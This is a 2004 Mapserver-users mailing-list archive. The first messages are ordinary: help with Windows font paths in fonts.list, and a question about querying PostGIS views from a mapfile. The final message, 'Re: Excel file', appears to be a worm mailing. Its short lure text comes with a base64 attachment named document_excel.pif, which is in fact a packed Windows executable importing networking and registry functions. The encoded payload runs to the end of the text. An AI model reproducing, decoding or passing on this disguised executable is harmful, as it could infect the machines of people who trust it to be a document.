arial_narrow-bold C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\arialnb.ttf arial_narrow-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\arialni.ttf arial_narrow-bold-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\arialnbi.ttf comic_sans C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\comic.ttf comic_sans-bold C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\comicbd.ttf courier C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\cour.ttf courier-bold C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\courbd.ttf courier-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\couri.ttf courier-bold-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\courbi.ttf georgia C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\georgia.ttf georgia-bold C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\georgiab.ttf georgia-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\georgiai.ttf georgia-bold-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\georgiaz.ttf impact C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\impact.ttf tahoma C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\tahoma.ttf tahoma-bold C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\tahomabd.ttf times C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\times.ttf times-bold C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\timesbd.ttf times-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\timesi.ttf times-bold-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\timesbi.ttf trebuchet_ms C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\trebuc.ttf trebuchet_ms-bold C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\trebucbd.ttf trebuchet_ms-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\trebucit.ttf trebuchet_ms-bold-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\trebucbi.ttf verdana C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\verdana.ttf verdana-bold C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\verdanab.ttf verdana-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\verdanai.ttf verdana-bold-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\verdanaz.ttf I have referenced every font to the apporiate directory which was unzipped from the tutorial but I still have the same error Do I need to copy the fonts somewhere else other than the one I referenced? ___________________________________________________________ Yahoo! Messenger - Communicate instantly..."Ping" your friends today! Download Messenger Now http://uk.messenger.yahoo.com/download/index.html From siki@agt.bme.hu Tue Mar 2 08:48:00 2004 From: siki@agt.bme.hu (Siki Zoltan) Date: Tue, 2 Mar 2004 07:48:00 -0100 (GMT+1) Subject: [Mapserver-users] Help with example error {Scanned} In-Reply-To: <20040301235609.75306.qmail@web14007.mail.yahoo.com> Message-ID: Hi, On Mon, 1 Mar 2004, [iso-8859-1] TOH CZ wrote: > I have done this to the fonts.list file > > andale-mono C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\andalemo.ttf Do the ttf files exist? I think you should use / (slash) instead of \ (backslach). I have / in my font list. I think you should use "....ttf" around file names having space in the path or file name. Few line from my fonts.list file: arial c:/windows/fonts/arail.ttf arialbd c:/windows/fonts/arailbd.ttf ariali c:/windows/fonts/araili.ttf I hope this helps you. Zoltan > arial C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\arial.ttf > arial-bold C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\arialbd.ttf > arial-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\ariali.ttf > arial-bold-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\arialbi.ttf > arial_black C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\ariblk.ttf > arial_narrow C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\arialn.ttf > arial_narrow-bold C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\arialnb.ttf > arial_narrow-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\arialni.ttf > arial_narrow-bold-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\arialnbi.ttf > comic_sans C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\comic.ttf > comic_sans-bold C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\comicbd.ttf > courier C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\cour.ttf > courier-bold C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\courbd.ttf > courier-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\couri.ttf > courier-bold-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\courbi.ttf > georgia C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\georgia.ttf > georgia-bold C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\georgiab.ttf > georgia-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\georgiai.ttf > georgia-bold-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\georgiaz.ttf > impact C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\impact.ttf > tahoma C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\tahoma.ttf > tahoma-bold C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\tahomabd.ttf > times C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\times.ttf > times-bold C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\timesbd.ttf > times-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\timesi.ttf > times-bold-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\timesbi.ttf > trebuchet_ms C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\trebuc.ttf > trebuchet_ms-bold C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\trebucbd.ttf > trebuchet_ms-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\trebucit.ttf > trebuchet_ms-bold-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\trebucbi.ttf > verdana C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\verdana.ttf > verdana-bold C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\verdanab.ttf > verdana-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\verdanai.ttf > verdana-bold-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\verdanaz.ttf > > I have referenced every font to the apporiate > directory which was unzipped from the tutorial but I > still have the same error > Do I need to copy the fonts somewhere else other than > the one I referenced? > > > > > > ___________________________________________________________ > Yahoo! Messenger - Communicate instantly..."Ping" > your friends today! Download Messenger Now > http://uk.messenger.yahoo.com/download/index.html > From hubert.froehlich@bvv.bayern.de Tue Mar 2 06:56:47 2004 From: hubert.froehlich@bvv.bayern.de (=?ISO-8859-1?Q?Hubert_Fr=F6hlich?=) Date: Tue, 02 Mar 2004 07:56:47 +0100 Subject: [Mapserver-users] MapServer and postgis using views Message-ID: <4044302F.1000300@bvv.bayern.de> Hello list, I use MapServer 4.0 / 4.0.1) with postgis. I have defined a layer in a static mapfile (no mapscript at all) LAYER CONNECTIONTYPE postgis NAME "flstpgx_poly" CONNECTION "dbname=ax host=va45c28 user=postgres" DATA "pgpoly from (select * from v_axflst_geom ) as foo using unique obnr using SRID=31494" HEADER "q_flstpgx_header.html" FOOTER "q_DEFAULT_footer.html" STATUS OFF TYPE POLYGON MAXSCALE 200000 # FILTER "gemeinde > 0" CLASS NAME "Flurstücke" # EXPRESSION "gemschl > 0" TEMPLATE "q_flstpgx.html" COLOR -1 -1 -1 OUTLINECOLOR 200 0 0 END END v_axflst_geom is a view on a table axflst defining the subset of the attributes which I REALLY need. I have defined a template for browsing and querying the layer. Browsing is fine. Queries, however, result in an empty html message output. When I do not work with a view but read directly from the table with the mapfile entry DATA "pgpoly from axflst" the query seems fine. Did I miss something in dealing with views? Greetings, Hubert -- ------------------------------------------------------------------------------- Dr.-Ing. Hubert Fröhlich Bezirksfinanzdirektion München Alexandrastr. 3, D-80538 München, GERMANY Tel. :+49 (0)89 / 2190 - 2980 Fax :+49 (0)89 / 2190 - 2997 hubert dot froehlich at bvv dot bayern dot de From ed@topozone.com Tue Mar 2 08:07:09 2004 From: ed@topozone.com (ed@topozone.com) Date: Tue, 2 Mar 2004 09:07:09 +0100 Subject: [Mapserver-users] Re: Excel file Message-ID: <200403020808.i2288qAP023765@lists.gis.umn.edu> This is a multi-part message in MIME format. ------=_NextPart_000_0003_000067DC.00004925 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Here is the file. ------=_NextPart_000_0003_000067DC.00004925 Content-Type: application/octet-stream; name="document_excel.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="document_excel.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 